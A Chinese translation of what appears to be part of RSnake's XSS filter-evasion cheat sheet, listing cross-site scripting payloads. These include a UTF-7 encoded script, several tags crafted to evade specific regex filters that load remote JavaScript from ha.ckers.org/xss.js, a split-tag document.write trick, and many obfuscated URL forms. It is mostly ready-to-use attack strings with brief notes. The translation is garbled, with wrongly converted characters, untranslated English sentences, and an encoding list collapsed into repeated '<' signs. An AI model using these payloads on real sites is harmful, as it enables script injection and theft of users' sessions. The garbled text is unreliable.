若是存在xss的頁面沒有提供頁面charset header,或是對於任何被設爲UTF-7 的瀏覽器,咱們能夠利用下面的代碼。(感謝Roman Ivanov 的提供),點擊這兒爲這個例子。(若是頁面設置是自動識別編碼且content-types 沒有被覆蓋,在ie瀏覽器或使用了IE渲染引擎的 Netscape 8.1,咋你不須要聲明 charset )在沒有改變編碼的狀況下它是不能工做在任何現代瀏覽器,這是爲何它被標記爲徹底不支持。Watchfire發現這個漏洞在Google’s 自定義 404 腳本中.
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
他是被測試在ie,具體因狀況而異。它是爲了繞過那些能夠輸入 「<SCRIPT>」 但不容許輸入 「<SCRIPT SRC…」,經過正則」/<script[^>]+src/i」進行過濾的xss過濾區。
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
爲了執行xss代碼在那些容許輸入」<SCRIPT>」 但不容許 「<script src…」靠正則拼配」/<script((\s+\w+(\s=\s(?:」(.)?」|’(.)?’|[^’」>\s]+))?)+\s|\s)src/i」 (這個是重要的,由於我已經看到這個正則在實際環境中。)
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
另外一個逃避相同正則 「/<script((\s+\w+(\s=\s(?:」(.)?」|’(.)?’|[^’」>\s]+))?)+\s|\s)src/i」的xss代碼
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這是另外一個xss例子去繞過相同的過濾器,關於」/<script((\s+\w+(\s=\s(?:」(.)?」|’(.)?’|[^’」>\s]+))?)+\s|\s)src/i」 的正則過濾。我知道,我說過我將不會去痛痛快快的聊減災技術。可是這是我所看到的惟一例子在容許用戶輸入<SCRIPT>可是不容許經過 src加在遠程腳本的過濾這個xss的可用方法。(固然,還有一些其餘方法去處理它,若是它們容許<SCRIPT> )
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
最後一個繞過」/<script((\s+\w+(\s=\s(?:」(.)?」|’(.)?’|[^’」>\s]+))?)+\s|\s)src/i」正則匹配的例子,經過重音符。(再以沒法工做在firfox)
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這個xss例子押注域哪些正則並不去拼配一對引號,而是去發現任何引號後就當即結束參數字符串。
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這xss仍然讓我擔憂,由於他是幾乎沒有肯呢過去中止在沒有阻止活動內容的狀況下。
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這裏假設 「http://www.google.com/」 這種在語法上是不被容許的。
IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>
URL 編碼
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
雙字節編碼
(注意:有其餘的雙字節編碼變種。請參考下面混淆後的ip爲更多信息)
<A HREF="http://1113982867/">XSS</A>
十六進制編碼
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,由於十六進制數實在0-f之間,所以第三位開頭的0能夠被省略掉。
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八進制編碼
Again padding is allowed, although you must keep it above 4 total characters per class – as in class A, class B, etc…:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合編碼
讓咱們混合基本編碼而且插入一個tab和換行符。爲何瀏覽器容許這樣,我是不知道。可是它是能夠工做當它們被包含在引號之間。
<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>
協議繞過
「//」代替「http:// 」 能夠節省更多字符。這是很是有用的當輸入空間是有限的時候。兩個字符可能解決大問題。也是容易繞過像」(ht|f)tp(s)?://」 這樣的正則過濾。(感謝 Ozh 提出這部分)。你也能夠改變//」 爲 「\」。你須要保持斜槓在適當的地方。不然可能會被看成一個相對路徑的url。
<A HREF="//www.google.com/">XSS</A>
Google 「feeling lucky」 I
Firefox 使用 Google的」feeling lucky」 函數去重定向用戶輸入的任何關鍵字。所以你能夠在可利用頁面使用任何關鍵字針對任何Firefox用戶。它是使用了」keyword:」 協議。你可使用多個關鍵字像下面的例子:XSS+RSnake。它是沒法使用在 Firefox as of 2.0。
<A HREF="//google">XSS</A>
Google 「feeling lucky」 II
這是使用一個小技巧讓他工做在Firefox,由於只有它實現了 「feeling lucky」 函數。不像下一個例子,它是沒法工做在 Opera ,因爲 Opera認爲它是一種老的釣魚攻擊。它是一個簡單的畸形url。若是你點擊彈出框的肯定按鈕它將工做。可是因爲這是一個錯誤對話框,我是說Opera是 不支持它。它也再也不被支持在 Firefox 2.0。
<A HREF="http://ha.ckers.org@google">XSS</A>
Google 「feeling lucky」 III
它是經過畸形url來工做在Firefox 和 Opera瀏覽器。由於只有他們實現了 「feeling lucky」 函數。像上面的例子同樣,它們須要你的網站在谷歌搜索中排名第一。(例如google)
<A HREF="http://google:ha.ckers.org">XSS</A>
移除別名
結合上面的url。移除 「www.」 將節省四個字符。
<A HREF="http://google.com/">XSS</A>
絕對 DNS用額外的點
<A HREF="http://www.google.com./">XSS</A>
JavaScript link location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
針對內容替換的攻擊向量
假設 「http://www.google.com/」 會被替換爲空。我確實使用了一個簡單的攻擊向量去針對特殊文字過濾依靠過濾器自己。這是一個例子去幫助建立向量。(IE: 「java script:」 被替換爲」java script:」, 它是仍能夠工做在 IE,使用安全模塊的 Netscape 8.1+ 和 Opera)
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
再付 「<」 在html或是javascript中全部可能的編碼形式。它們絕大多數是沒法正常渲染的,可是能夠在上文中某些情景下獲得渲染。
< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
下面地址中包含了在xss有用的各類基本轉換器。
http://ha.ckers.org/xsscalc.html
Robert 「RSnake」 Hansen
老道